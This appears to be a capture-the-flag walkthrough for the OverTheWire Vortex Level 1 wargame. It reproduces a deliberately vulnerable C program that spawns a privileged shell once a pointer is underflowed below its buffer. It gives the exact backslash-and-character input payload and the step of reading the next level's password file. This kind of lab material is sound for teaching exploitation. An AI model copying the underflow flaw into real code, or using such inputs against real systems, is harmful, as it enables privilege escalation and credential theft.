Wargames:Vortex Level 1

Level 1

Canary Values

We are looking for a specific value in ptr. You may need to consider how bash handles EOF..

Reading Material

Smashing the Stack for Fun and Profit

Code listing ( vortex1.c)

 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
 #include <stdio.h>
 
 
 #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
 
 void print(unsigned char *buf, int len)
 {
         int i;
 
         printf("[ ");
         for(i=0; i < len; i++) printf("%x ", buf[i]); 
         printf(" ]\n");
 }
 
 int main()
 {
         unsigned char buf[512];
         unsigned char *ptr = buf + (sizeof(buf)/2);
         unsigned int x;
 
         while((x = getchar()) != EOF) {
                 switch(x) {
                         case '\n': print(buf, sizeof(buf)); continue; break;
                         case '\\': ptr--; break; 
                         default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                 }
         }
         printf("All done\n");
 }

Analysis:

http://axtaxt.wordpress.com/2010/11/15/overthewire-vortex-level1/

Solution:

Login the server using the last level ssh account.

Execute /vortex/vortex1 to get the shell.

Try to move ptr before the buf by (512/2+1) times '\\'.

It's easy to write 0xca charactor by script, but It's hard to direct input it.

But I found the charactor below can produce 0xca.

ʀ

0xca 0x80

Then get the shell with uid of vortex2.

Get the next key from /etc/vortex_pass/vortex2

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ʀ